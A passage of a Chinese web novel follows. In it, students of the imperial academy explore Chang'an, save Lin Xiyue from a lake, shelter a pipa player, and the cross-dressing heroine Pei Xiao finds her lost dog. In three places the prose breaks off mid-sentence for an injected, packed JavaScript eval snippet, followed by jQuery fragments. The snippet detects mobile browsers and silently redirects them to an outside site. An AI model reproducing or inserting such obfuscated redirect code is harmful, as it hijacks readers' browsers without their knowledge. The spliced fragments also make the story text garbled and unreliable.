“哎,哎,怎么听起来不像好话呢?”夏慕卿笑着道。
“你们旬假不回家吗?”祁青阳问。
夏慕卿耸了耸肩,“家里就我家老头和妹妹,平日里天天见,倒没什么非得回去的。”
“这样啊,摇光呢?”
百里摇光道,“我父母兄长都在北境,京中家里只有三叔三婶在,也没有同龄堂表兄弟可以结伴,所以在京中向来是跟慕卿一起行动。说起来,我也好几年没在京城了,这旬假正好逛逛熟悉一下。你和裴逍也一起,怎么样?”
裴逍无动于衷,仿佛没听见百里摇光的邀请。祁青阳拉住裴逍,道“在京中求学几载,熟悉熟悉环境也是好的。我们一同去吧?”
裴逍侧头看向祁青阳,见他一脸希冀,点了点头。
·
第八日旬考开考,先考经义、诗文、史学三门;第九日考算学、礼乐。考试内容是针对近日所学,做一些问答,会稍加延伸,但大体都是课上讲过的内容,对于裴逍来说,并不难。
第九日下午进行最后的骑射考试。
因为很多学子是新学的,骑射结合进行考测尚不成熟,所以便先只单独考射箭。射箭一人十箭,取靶数总和来计分。
一共十个靶,仍旧像练习时一般,排轮次,每十个人考一轮。
裴逍排在最后一轮次,便站在旁边观看。
祁青阳在第一轮次,他弯弓搭箭、瞄准、射出,如行云流水一般,且箭无须发,十支皆中靶心,且裴逍留意了下,他射出的每支箭都穿透了靶皮,入靶很深。
在他旁边,林致远奋力拉开弓箭,手上青筋鲜明,抬起的手臂略有些抖,一箭射出,命中了靶心外围的采侯区域。
夏慕卿见裴逍在看林致远,便说道,“林致远身子骨不是很好,武力一向不擅长,其他科目成绩都很优异,唯独骑射还是一直勤练也难以达到最优等。”
裴逍心下唏嘘,点了点头。
夏慕卿排在第二轮次。他手里的弓以黑漆为底绘有云纹,弓梢有白玉雕饰,看起来极为精美,像是家中特制带来的。
但是他拉弓、搭箭的动作,十分随意,仿佛根本不在意能不能射中,也不待多瞄准,便轻飘飘将箭射出,十支箭有一半都是落在地上的,还有一支箭射到了旁边学子的靶子上。
饶是裴逍,也忍不住轻扯了下嘴角。
“咦?你也会笑啊?!”百里摇光凑近裴逍,仔细端详。
裴逍早已抿了唇,敛了笑意,冷冷说了声,“你看错了!”,随即绕开百里摇光,从前面退下来的学子手中接过弓箭。
她和百里摇光在最后一轮次。两人站姿英挺,箭技精准,又动作快,给这一组的其他学子造成了极大压力。
骑射成绩考完以后,众学子便都知道了。其他科目成绩则要到下旬才揭榜。成绩分为甲乙丙丁戊己庚辛八等。戊以下为不及格。
裴逍、百里摇光、祁青阳十支箭全部命中正鹄靶心,成绩甲等。
夏慕卿己等不及格,不过他丝毫不在意。等裴逍射完十箭,他便和祁青阳一同走来,与百里摇光和裴逍说道,“回去换下衣裳,咱们就出去逛。”
“换衣裳?”裴逍不解。
“穿着这衣服,谁都知道是国子学的,就没法体验大隐隐于市的乐趣了。”
“哦。”裴逍点了下头。
·
百里摇光三下五除二换好衣裳,见裴逍还在衣橱中翻找,便道,“我去对面催慕狐狸去,他可慢了!”
“嗯”裴逍应了一声。等百里摇光出去了,她方才松了口气,忙拿了件素白圆领袍换上。此前每逢换衣之时,她都会尽量和百里摇光错开,要么就是提前在床帐中换好再下床,这次一同回了斋舍,为避免身份暴露,她只好故意磨蹭等百里摇光先换好出去,幸而百里摇光动作麻利,不至于太耽误时间。
饶是她故意拖延,等她出了房门,对面的夏慕卿也还没有出来。
祁青阳一袭青衫站在院中,听到斋舍中百里摇光催促夏慕卿的声音,朗笑了几声。
“这件就挺好看啊,你穿啥都好看,快点换上走吧。”
百里摇光几番催促,夏慕卿才终于换好出了房间。
只见他身穿一件月白锦缎宽袖交领大袍,腰间束着一条仙鹤纹的月白锦带,一块质地上好的青玉和一个绣了竹子暗纹的精致香囊系于其上,墨发半束于头顶,上插一根晶莹剔透的白玉簪,他将手中的象牙折扇一摇,配上他清俊的容貌,当真是一副芝兰玉树的谪仙之姿。也算没辜负他们几个等了许久。
百里摇光一袭玄色窄袖长衫,腰系墨色角带,除了头上一顶银发冠外,全身再没有其他装饰了。但即便如此,他站在夏慕卿身旁,也丝毫不逊色。他们二人一黑一白走在一起,气质截然不同,却相映成趣,成了极好看的一道景。
裴逍和祁青阳两人衣着一白一青,虽都是最普通的麻布衣衫,但两人相貌清俊,身形挺拔,又丝毫没有因为衣饰简陋而难堪畏缩。他们坦坦荡荡地走在百里摇光和夏慕卿身边,只让人觉得这四个少年就该是在一起的,反而没人注意他们的衣饰了。
四人走到国子学门口,突听得有脆脆的女声喊“哥”、“哥”。
走在裴逍前面的百里摇光停了下来,裴逍也只得跟着停下。她顺着百里摇光的目光看去,见一个和她年纪差不多的女子,从女学门口朝着他们的方向跑来。
那女子身穿朱红胡服式样的翻领窄袖袍,一头黑亮青丝高高束在脑后,只一根赤色锦缎随风飘扬露出,行动间不似一般女子般温婉,反而带了几分飒踏和英气。走近了,裴逍见她浓眉杏眼,很是俏丽。
“百里二哥。”那女子笑着先与百里摇光打了声招呼,而后便向前疾走去追夏慕卿。
夏慕卿走在最前面,仿似没听见后面的动静,仍旧径直往前走。
那女子几步追上手臂一伸,挡在了夏慕卿的面前,杏眼圆睁,高声问道,“怎么?看见我就想跑?!”
夏慕卿被拦下,认命似地轻叹了口气,悠悠道“没看见”。
那女子轻嗤一声,抱臂笑看着夏慕卿,“看你这样子,旬假是不回家咯?要去哪玩?”
“我去哪,那是我的事,你快回府去吧。”说着,夏慕卿便要绕开那女子继续走。那女子紧紧拽住他的衣袖,脸上堆满笑意,“带我一个!带我一个!”
夏慕卿绕不过去,手抵着额头,一脸苦笑。
“慕卿,这是令妹?”祁青阳在后面笑着问道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800002|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
那女子这才注意到其兄长身后另外两位陌生少年,她目光投向兄长,等着介绍。
夏慕卿无奈侧身说道,“这是家妹夏思卿,在对面的女学读书”。
而后又给夏思卿介绍,“这两位是同窗的祁青阳和裴逍。”
几人互相见礼。
“家妹想要跟着一起,你们不介意吧?”夏慕卿看向祁青阳和裴逍询问,以百里摇光跟他的关系,不必问其意愿。
“当然不会。”祁青阳笑着回道。裴逍摇了摇头。几人便一起动身。
刚行几步,又听到走在最后的夏思卿喊,“曦月、曦月”。
几人再次停下脚步,见女学门口一位姑娘快步走了过来。
那姑娘头梳双鬟,用了绛紫丝带扎束,上点缀琉璃彩珠,身穿月白对襟上襦,下配绛紫长裙,一条同色绢纱披帛搭在肩头,行动间轻盈温婉,与夏思卿截然不同。
她双颊泛着粉晕,一双秋水双眸含笑看着他们。裴逍认出是赠康王药的那个姑娘。那日康王让她送其出来,在国子学门口见到过。
夏思卿跟曦月耳语一番,见曦月点了点头,便引着曦月走到几人面前。
夏慕卿认识那姑娘,当先温和笑着叫了声“曦月。”
“这位是我的好友林曦月,是林丞相的千金。”夏思卿向其他三个少年介绍道。
祁青阳躬身行礼笑着招呼了一声,“林姑娘”。
百里摇光、裴逍叉手行了个礼,没有多言。
“曦月,这三位是我哥哥的同窗,这位是我跟你说过的百里二哥,这两位是祁公子、裴公子。”
那姑娘听完夏思卿的介绍,轻伏身子行了一礼,柔柔地称呼道,“百里公子、祁公子、裴公子”。
“曦月和我们一同去吗?”夏慕卿笑问。
“对啊”,林曦月还未开口,夏思卿已经替她说了,她便笑了笑表示认同。
“好,那就走吧。”一行六人便向着城中心走去。
·
长安城在唐末的战火中曾受到多次破坏,宫室廨宇被焚毁殆尽,城池占地规模也缩减甚多。直到本朝大夏太宗皇帝即位并决定迁都长安,才参照隋唐长安城的规模建制,重新复原修建了如今的长安城。
皇城、宫殿、城门以及城内外一些寺庙园林基本都与唐时的位置和形制保持了一致。不同的是,大夏取消了“里坊制”,没有按唐时,严格区分供人居住的“坊”和供贸易的“市”。宅院、民居、官署、寺观、园林和各种商铺,在城中各街道穿插分布。城中居民生活更加便宜,各类工商贸易也更加繁荣热闹。
国子监位于长安城东,靠近东边三座城门中最南的延兴门。夏慕卿领着他们一路向西,穿过权贵们居住的宅邸和一些酒楼商铺,来到了慈恩寺。
“我朝新科进士曲江宴后到雁塔题名,指的就是这吗?”祁青阳看着寺门问道。
“没错。”夏慕卿一边继续走,一边应道,“城中的大小寺观、园林林立,但我却是最喜欢这里,所以带你们也来看看。”
“哦,对了。”他回头看着裴逍说道,“还记得我跟你说过的那个裴晔吗?就是你诗文课上念的诗作作者,我之前在雁塔下还看到了他的题名。”
说着,他又转向百里摇光说道,“你之前猜测他是因为不想做官才突然离开长安不知所踪,我不这么认为,一方面是因为那诗文,另一方面便是我曾在雁塔下见过他的题名。你想,若他不想入仕为官,为何还会做这种新科进士常常夸耀功名的举动?”
裴逍垂眸扫了眼腰间的玉佩,又抬头看向远处矗立的巍峨佛塔,心想,“如此,正好可以看看是不是父亲的笔迹。”
15. 第15章
“这里栽种的牡丹也是闻名长安,只是现在还没到花开的时候。”夏慕卿一边引着众人往里走,一边介绍道。
“哥,那边戏场里开演了,我和曦月去看看。”夏思卿看到寺中一处热闹非常,跟慕卿说了一声,便拉着曦月向那边去了。
夏慕卿无奈摇了摇头,看着裴逍几人道,“慈恩寺里有长安最大的戏场。我是不喜这种热闹,你们想去看的话,我在此处等你们。”
其他三人都没什么意愿,夏慕卿便引着他们往前,走近了大雁塔。历经百余年风雨的砖塔壁上,有本朝以来,新科进士们用墨笔留下的题名。
“看,裴晔的名字在这里。”夏慕卿指着一处道。
裴逍走近几步,看见塔壁上写了“裴晔,越州会稽县,天福十五年进士及第”。那笔迹秀挺清隽,却不是父亲的笔迹。
“这三个人的名字似乎是同一人所写。”祁青阳指着裴晔下面两个名字道。
“咦?我之前都没注意到下面这两个。”夏慕卿看了看,接着道,“阮柏聿,这不是咱们先生吗?”
裴逍向下看去,只见裴晔信息的下面还有两个名字,“阮柏聿”和“姜琛”。两人都是长安人,天福十五年进士。三个人的名字和信息确实是出自一人笔迹。
“如果这三人的题名是一人所写,那可能裴晔的题名根本不是他自己留的吧?”百里摇光目力好,站在几人最后,此时摸了摸下巴,说出了自己的猜测,“我还是觉得,他应该不是想做官,隐退了。”
“如此来看,还真可能给你说对了。”夏慕卿应了一声,随即招呼几人跟着他向塔内走去。
裴逍最后看了一眼那几行墨迹,跟上了夏慕卿。
雁塔内有许多神佛壁画,还挂有许多有名的画家和诗人的真迹。环境清幽古朴,置身其中,很容易让人平静下来。裴逍心想,难怪夏慕卿会喜欢这里。
他们逛过佛塔和殿宇之后,在门口会合了夏思卿、林曦月,出了慈恩寺,向东南而行。
一路上,裴逍见到长安城中,店铺林立,街市热闹,一派繁华景象,心中不免惊叹。夏慕卿不时地给他们三个介绍一些地名和风物。
几人走了小半个时辰,到了曲江池。
“这曲江池,可是长安人时不时就得来逛逛的地方,到了上巳节,这堤岸上到处都是彩棚绸帐,才热闹呢。”夏思卿接了她兄长的活计介绍道。
几人跟着夏思卿登上了一艘画舫。船顶覆了帐幔装饰,两侧有雕花栏杆,前舱有乐工演奏丝竹,看起来颇为风雅。
几人坐到了临窗的雅间。没过多久,船就开动了。
池上环境清幽,琵琶声入耳,几人临窗而坐,心情也颇为畅快。
裴逍挨着祁青阳坐,祁青阳另一侧坐了百里摇光,对面是夏慕卿和两位姑娘。
等上菜的时间,几人坐着闲聊。
百里摇光问夏思卿,“你们女学里平日学什么?”
夏思卿撇了撇嘴,“可无聊了,学什么《女诫》、《女论语》、女工、操持内务之类的,若不是在女学里待着比府中有意思,还可以陪曦月,我才不愿意来。”
林曦月低低笑了起来。
“竟是学这些?我这次回来见京中有了女学,还想着将女子从宅院中解放出来,去外面天地看一看是好事啊。没成想,只是换了个地方,还是学这些东西。”
裴逍抬头看了眼百里摇光,见他神情认真,不像是在戏谑调侃,倒是让裴逍颇感意外。
“谁说不是呢?那些个东西,我听着就烦,隔三差五就得要和女先生们理论理论。她们根本听不进去,就给我扣忤逆不柔顺的帽子,说我以后难找夫婿。”思卿抱怨道。
夏慕卿呵呵笑了起来,“说你难找夫婿倒是没说错。”
“哼。你是不是亲哥啊?”思卿推了慕卿一把,慕卿任由她动作,笑着往侧面倒了倒。
祁青阳笑着问道,“安王殿下给你们两兄妹取名为慕卿、思卿,可是有什么渊源?”
夏慕卿还没来得及开口,夏思卿便说道,“祁公子真是聪慧,一下子被你发现了。我母妃名中有个卿字,父王极为看重母妃,而且他也不在意那些名字避讳之类的繁文缛节,就给我和我哥的名字里都加了母妃的名字。”
“那想必安王殿下是极为爱重王妃了。钦慕、思念,名字中都在表达,倒是真性情。”祁青阳惊叹道。
“咚”,夏思卿一拍桌子,激动地说,“对!我父王就是真性情,祁公子有眼光!以前京中人时常嘲笑我父王是个粗人,完全不懂避讳,极为荒唐,身为亲王,却把妇人的名字冠到皇室血脉的名字里。连我哥都一直对自己的名字别别扭扭的,小的时候没少跟父王吵闹着要改名字。但我——”夏慕卿拿了块点心塞到夏思卿嘴里,阻住夏思卿往下说。
夏思卿圆睁杏眸,一把拿下点心,接着道,“但我却觉得父王是天下最好的男人,先帝派他镇守西北,他就在边境安守百姓,后来被召回京不让再带兵,他也从未有过什么怨言和不满,只做好自己该做的事,不去纠结,也不去争执。”
“唯有我和哥哥的名字是他拒绝了先帝赐名,一定要坚持的。而且他也从未纳妾,即便是在我母妃去世后,也没有再续弦。”说到安王妃去世,夏思卿的声音低缓了下来。
祁青阳察觉到她情绪有些低落,忙岔开话头,“看你们兄妹二人的状态,安王确实照顾得很好啊”。
夏慕卿轻嗤了一声。
夏思卿瞅了夏慕卿一眼,说道“是,我觉得父王极好,正因为父王的教导方式不同,我才能和其他闺阁女子不同,自在得很。我哥啊,是因为自己不喜欢习武,被我父王逼烦了,就变成了这个鬼样子。你们知道他为何武艺平平,单单轻功那么好吗?”
说到这夏思卿停顿了下,见祁青阳和裴逍不解,接着道,“因为被我父王追的哈哈哈。”
祁青阳愣了一下,旋即笑开。裴逍嘴角扬起了一个极小的弧度,微微摇了摇头。
夏思卿嬉笑着又说道“我哥从小就被父王追着练武,为了躲开父王,在轻功身法上可是狠狠下了功夫。”
几人笑得更厉害了。百里摇光虽是对这个中原由非常清楚,但今日见裴逍都扯动了嘴角,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800003|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被感染得朗声笑起来。
林曦月拿着手帕捂嘴低头轻笑。
唯有夏慕卿瘫坐在位子上,一脸无奈地看着众人。
饭菜被店家送了进来,几人开始用膳。
祁青阳见裴逍坐在最边上,总是吃着眼前的一盘菜,就给她夹了一块离她远的鱼肉。
裴逍怔了一下,随后徐徐吃了起来。
祁青阳见裴逍没有什么特别的反应,便不时地夹菜到她碗里。
众人只道他们两个关系好,也没多想,只有百里摇光时不时地瞟几眼。
“诶?你今日怎么吃得又慢又少?!”夏慕卿问。
百里摇光没抬头,囫囵道,“不太合胃口。”
“咦?你不是从不挑食的吗?”
百里摇光正不知如何解释,突然听到雅间外面传来吵闹声。他当即起身将雅间门推开,两下里张望。
夏思卿从他哥哥旁边挤出来,也凑到门边,不知看到了什么,她飞快地冲了出去。
外面紧接着传来她的声音,“哪来的浪荡子弟,敢调戏良家女子?”
百里摇光当即跟了出去,夏慕卿担心妹妹也紧随而去。
林曦月在门口踌躇,裴逍猜测她可能是觉得自己过去帮不上忙,所以在犹豫。
裴逍本就打算过去看,便与祁青阳道,“我们都去看看吧。”
三人一起出了雅间,走到靠近船头的位置,见夏思卿、百里摇光正在与几个家丁打扮的人交手,夏慕卿站在一个手抱琵琶的女子前面挡着。那女子苗条清瘦、面容姣好,躲在夏慕卿身后瑟瑟发抖,显然是受了惊。
看情形,约莫是有人调戏弹琵琶的姑娘,被夏思卿三人拦阻,于是双方动起手来。
船上空间有限,两拨人打斗,你追我赶的,船剧烈晃动起来。
裴逍担心如果船翻,或不小心落水,身份容易泄露,因此极为小心,同时也四处张望,欲找那些家丁的主子,想制住那人。
她正用眼神搜寻着,突听得身后传来女子惊叫和“扑通”落水的声音。
裴逍回头一看,林曦月和祁青阳两人都掉在了水中,一旁有个少年当即跳船救人。
那少年一入水,便向林曦月的方向游去。
裴逍见有人救林曦月,从旁边找了条麻绳,抛入水中,正落在祁青阳挣扎的位置。
“祁青阳,抓紧绳子!”
祁青阳落水的位置近,裴逍很快将他拉上了船。他一上船,便指着林曦月那方向道,“裴逍,那人故意推曦月落水的!”
裴逍一惊,看向池中。
林曦月还在水中挣扎,但奇怪的是,一般人会往船的方向或救她的人方向挣扎,而林曦月却是在远离船和那人的方向挣扎。
裴逍突然想到,如林曦月被那少年救起,按当下对女子的礼教约束,有可能被要求嫁给那少年,就算不嫁,名声也可能受损。自己虽是女子,却作男子扮相,救了人除非揭露真实身份,否则也是一样的结果。
但此时生死之际,顾不上考虑那么多。裴逍抛了一句,“去找夏思卿”,当即跃入水中。
16. 第16章
祁青阳也想到了这层,连忙爬起,拦住和家丁扭打的夏思卿,道“林姑娘落水了!”
夏思卿停了手,往祁青阳所指方向一看,当即就要往水里跳,祁青阳忙拽住她。
“你会凫水吗?”
夏思卿方才回过理智来,慌张道,“不会。”
“哥!”夏思卿大叫。
夏慕卿收了手掠过来问,“怎么了?”
“曦月落水了!快救她!”
夏慕卿往水中望去,见有两个人在往曦月的位置游,道“先别急,你看有人在救曦月。”
“前面那个人是故意推曦月落水的,当时我发现拦他,他把我也推水里了!”祁青阳急忙道。
“故意推入水,再去救?”夏思卿喃喃道,突然反应过来大声道,“我知道了!他想用这种方式逼曦月嫁给他!不行!”说着,夏思卿又要往水里跳。
夏慕卿和祁青阳拦住她,又急忙喊船家将船向曦月在水中的位置靠拢。
旁边百里摇光收拾完几个家丁,听见三人所说,道了声“我去救!”,便跃入水中。
裴逍方才在船上小跑一段才跳船,借力已经快要追赶上那少年。但那少年大概还有一臂的距离,就要碰到林曦月了。
裴逍屏住气停住,迅速从怀里掏出弹弓,朝那少年伸向曦月的手臂射了一颗石子。
那少年被打中,叫了一声,停了下来。
裴逍追上去,绕过那少年,游到林曦月身边,林曦月此时已经晕了过去,不再挣扎。
裴逍双手从背后穿过林曦月腋下,用膝盖在她身后顶了一下,使她呈仰面朝上的姿势,头部浮出水面。
那少年又伸手过来欲抢林曦月,裴逍伸腿在水下死命踹了他一脚。那少年吃痛,松了手。
裴逍两手托着林曦月肩腋,拖带着她,倒着向船的方向游去。
在那少年又抓来之际,堪堪游开。
游了一段,遇上百里摇光,两人一手拖住林曦月一臂,将她仰着拖带靠近船,送了上去。
慕卿、思卿接住,将林曦月平放在地。随即,慕卿脱下外袍,盖在了林曦月身上。
裴逍浑身湿透,一上岸,祁青阳便将衣袍递给了她。裴逍犹豫了一下,担心身份被人看出,便没拒绝,接过披在了身上。百里摇光扫了一眼,运起内力来蒸干衣服。
林曦月呛水时间短,很快醒了过来。
几人见她醒来,都松了口气。
夏思卿这时想起那推曦月落水的始作俑者,跳起来便要去船那头,找那少年算账。林曦月忙拽住她,“我没事,思卿,不要招惹那人了。”
那少年已经被家丁接上了船,见林曦月被人救起来,那弹琵琶的女子也被他们几人护着,便道了声“晦气”,带着家丁下了船。
林曦月见那少年上了岸走远,方叹了口气道,“那人是定国公嫡孙,当今窦皇后的亲弟弟,为人嚣张跋扈,也在国子学读书,不是个好相与的,窦家势大,还是不要与他发生正面冲突了。”
“是那个纨绔啊?”夏思卿恍然大悟,“早就听闻京中有这么一个混账东西,从未见过,今日算是见识到了。那厮先是对那弹琵琶的姑娘无礼,后又想趁乱害曦月,实在是可恶。”
“既然今日遇上了,我非要替天行道,好好教训他一番!”说着夏思卿便要去追那人,林曦月忙拦腰抱住她问,“我是怎么上来的?”
“裴公子和百里二哥救你上来的。”夏思卿被林曦月这么一打岔,一时间忘了要找那人麻烦。
林曦月对着裴逍和百里摇光微微伏身道,“多谢裴公子和百里公子相救。”
裴逍淡淡回了句,“不必客气。”
“举手之劳,曦月不必挂怀”。百里摇光也回道。
经这么一番,几人也没有兴致再继续赏景用膳了,一道上了岸,往回走。
没走多久,裴逍突然想到什么,停下脚步与祁青阳道,“我有物件落在那画舫上了,我去取,你们先回。”
说完未等祁青阳反应,裴逍已经疾步走远。
·
裴逍站在岸边,看到画舫船头,那掌柜正指着方才弹琵琶的姑娘大声责骂。那姑娘低头不语,只不时用袖子擦擦眼睛。
过了一会,那姑娘独自抱着琵琶下了船。夜风袭来,那姑娘倩影细弱,像是随时要被吹走一般。
裴逍追了上去,出声喊住,“姑娘,今日得罪了那纨绔,以后怕是麻烦不断,不如离开此处吧。”
那姑娘转回身,泪眼婆娑。她认出裴逍是方才帮她的少年之一,轻声道,“谢公子搭救垂怜,小女子也是这么想的。怎奈家中老父亲还染病在床,不好离开,小女子也是为了给父亲看病,才来这里弹琵琶的。”
裴逍将自己腰下钱袋里的银两都倒出来,递到那姑娘面前,“这是一点心意,希望能帮助些许。”
“你又没什么钱,收回去吧。”百里摇光竟跟了过来。他看了裴逍一眼,解了自己腰间的钱袋,递向前,“用我的吧。”
“公子和小姐们方才已经救了我,我怎么能再收你们的银两。”那姑娘推辞不肯收。
裴逍看了百里摇光一眼,将自己的空钱袋重新系好,对着那姑娘道,“姑娘雇辆车,带上父亲尽快离开京城吧。那人身份贵重,如姑娘留在京中被他惦记上,只怕再无脱身的机会了,说不定你父亲也要跟着遭殃。”
那姑娘听闻皱了眉头,神色担忧。
“救人救到底,送佛送到西。”夏思卿的声音突然响起,她们四人也折返了回来。
思卿接着说道,“姑娘,你好歹给我们个机会啊,不然今日我们救了你,明日你又被那纨绔给掳了去,那我们不是白救了。”
那姑娘又看了看几人,抱着琵琶的手捏紧又松开了几次,方才下定决心,“那就多谢几位恩人了,若日后有机会,小女子一定结草衔环报答各位的恩情。”说着那姑娘便要朝她们几个跪下来。
夏思卿连忙伸手拦住,“姑娘,不必多礼。事不宜迟,还是尽快离开京城才好。”
姑娘泪眼一惊,“好,明日我便收拾行装雇车出城”。
那姑娘走远,夏慕卿摇着折扇徐徐开口,“还是裴逍想得周到,今日思卿冲去教训窦家那纨绔,虽是暂时帮这姑娘解了困,但是不可能时时帮衬,她是得离开避避了。”
裴逍心里想到,其实她能最先想到这层,主要因为自己本就是布衣平民,最能体会普通百姓生活的不易。
“裴公子,你今
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800004|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日帮了曦月,又帮了弹琵琶的姑娘,聪慧、细心又仗义,你这个朋友,我交定啦!”夏思卿突然望向裴逍说道。
裴逍一脸错愕,一时不知该如何反应。
“什么交定不交定的,裴逍是我朋友,你一边去。”夏慕卿毫不客气地拆台。
众人笑着往回走。
林曦月的衣服已经湿了,要回府中洗漱休整,夏慕卿便打算送她回丞相府。此时,时辰也不早了,夏慕卿邀请百里摇光、裴逍和祁青阳一起住安王府中。
祁青阳和裴逍推辞,坚持要回国子学。夏慕卿也就不再坚持。
百里摇光回了忠国公府。
几人约好明日去春游,一早于忠国公府门口会合,因百里摇光家中所在位置正好在明日要去的方向。
·
初春晚间还略有些冷,裴逍虽然外面罩着祁青阳的长衫,但因里面衣物都是湿的,身上寒意阵阵。
她想到之前百里摇光从水中出来,用内力蒸干了衣服,忍不住惋惜自己不会内功。难凉寨中人都是兵士出身,拳脚外家功夫还可,内功却是没有人会的。
随后,她又有些许懊悔,方才分别时,百里摇光要将外袍脱给她,她自己嘴硬给拒绝了。自从一年前冒雨埋葬山寨中人大病一场后,她的身体便不如从前那般强健了。
这时,裴逍突然感觉肩上搭了一只胳膊,祁青阳揽住她,温暖从少年身上传过来。
“从前冷的时候,我哥哥便是这样搂着我,互相取暖的。”
“你有,哥哥?”
“嗯。”祁青阳笑着应了声,须臾后,语气转向萧索,“不过,他已经不在了。”
裴逍察觉到祁青阳的感伤,没有出声,只任由祁青阳揽着她向前行去,脑海中全是难凉寨里那些人的面孔。
两个少年踏着月光向国子学走去,而空中星河灿烂,明月皎洁。
·
那半弦月渐渐西移,隐于天光。东边一轮红日跳出,晨辉照进国子学。
裴逍和祁青阳走出国子学大门口,往昨日所说的忠国公府的位置行去。
她们二人皆是布衣出身,没有很多讲究,一路见街上很多摊贩已经营业,便买了些包子和胡饼,很自然地一面走一面拿着吃。
快到忠国公府门口,一条黄狗不知从哪里突然冲了过来,扒着裴逍便往身上蹭。
裴逍养过狗,因此只稍惊了一下,倒也不怕。她往后退开,那狗两只前爪没了支撑,落了地,摇着尾巴又凑近了。
裴逍这才看清狗的正脸。
她有些不可置信!这像是难凉寨里她养的那条狗。因为那狗全身的毛以姜黄色为主,所以裴逍给狗取名叫“姜姜”。难凉寨出事以后,她便没有再见过那狗了。
她蹲下身,看着狗,小声叫“姜姜”。那狗靠着裴逍拱蹭地越发厉害了,甚至还要往裴逍怀里钻。狗的体型不小,把裴逍拱地一下子坐到了地上。
“小心!”祁青阳伸手准备扶她。
裴逍忙道,“无妨”。她就势坐在地上,两手把狗头捧起来看。那狗从额头到嘴巴,中间有一绺白毛,不同于全身黄色,和姜姜一模一样!狗的两眼亮闪闪的,盈满了水,顺着眼角已有流出之势,裴逍忍不住眼圈泛红。
17. 第17章
百里摇光从府里追出来,到得街上,见他的狗正与一人对视,而那人坐在地上,却是裴逍。
好生诡异!他心里道,这一人一狗的神情看起来似乎都与往常不同。
百里摇光停下了脚步。这狗是他第二次去难凉寨时遇上的。当时狗受伤了,他心中不忍,便带回去让人救治。治好了以后,他将狗放走。谁料回程路上,却发现那狗一路跟了几十里。百里摇光看着可怜,便收养了,一路带回京中。
看这样子,莫非裴逍认识这条狗?或者根本就是他养的,当时山寨里出事,才失散了?如此想着,百里摇光忍不住开口问道,“这狗你认识?”
裴逍听到百里摇光的声音,连忙憋回眼泪,摇了摇头,站了起来。
那黄狗时而扒着裴逍的腿,往上跳,时而围着裴逍兴奋乱转,就是不从她身边走开。
“它看到你,连肉都没有吸引力了。”百里摇光抬起手晃了晃,一根细绳尽头悬着一块晶莹饱满的肉。
裴逍没有回应,只装作不在意。
祁青阳方才听到了裴逍叫那狗“姜姜”,又见那狗听到后似乎有反应,但是裴逍没承认,他便也不多嘴,只笑着道,“许是裴逍招小狗喜欢吧。”
百里摇光将狗从裴逍身边扒开,蹲下将肉喂给黄狗,在狗吃肉之时,他摸着狗毛,阴阳怪气嘀咕道,“人家都不认识你,你那么殷勤做什么?热脸贴人家冷屁股。”
裴逍没有顾上理会他,因为随着百里摇光的手捋开狗毛,她看到那狗的背上横着一条约有两指宽、五寸长的伤疤。
那场浩劫,连它都没有幸免。裴逍轻蹙了眉头,心中隐隐作痛。
“摇光,这狗是你养的?”祁青阳问。
“嗯”。百里摇光应了一声,抬起头扫了裴逍一眼,接着道,“我在雁城的难凉寨遇到它的,当时它受了伤,后来就带回来了。它很少见人这么热情,今日见到裴逍的反应与往常很不一样”。
裴逍移开目光,只盯着狗,没有回应。
“你们都到了?”夏慕卿骑着马行了过来。后面一辆马车里,夏思卿掀起车帘招呼道,“百里二哥、裴公子、祁公子”。林曦月坐在夏思卿旁边,冲他们几个笑着点了点头。
裴逍点了下头致意。祁青阳招了招手,笑着道,“早啊”。
忠国公府仆从牵了三匹马出来。
百里摇光、裴逍两人翻身上马。祁青阳骑术不好,便自发坐在了夏思卿他们的马车外头,跟车夫坐在一起。
百里摇光本想赶狗回去,但见裴逍时不时地看那狗,而那狗也一直在裴逍身边转来转去,便任狗跟着了。
“走吧,我们先出城。”夏慕卿说着,当先骑马行了起来。
·
此时春光正好,几个少年或骑马或乘车,很是惬意。一只形状奇特的纸鸢漂浮在他们上空,跟随着他们一路行进。
“青阳,你这纸鸢形状实在罕见,”夏慕卿回头道。“旁人都是放的什么燕子啊,鹰啊,龙蛇什么的,你倒好,就一轮红日加几颗星辰。要说你技术不好吧,但是那纸鸢的骨架、纸面又实在是精致。你为何不绘复杂些的彩饰呢?”
祁青阳笑了笑,“你说的那些我也做了许多,还卖了不少钱。倒是只有这一只,是我偶然得了些想法随心做的,不为卖钱。”他望着那纸鸢,神情安谧,仿佛回忆起了什么愉悦的过往。
“我看祁公子这纸鸢很好啊,多特别。”夏思卿从马车窗里探出头说道。
“我又没说青阳的纸鸢不好,只是形状少见嘛。”夏慕卿回了一声。
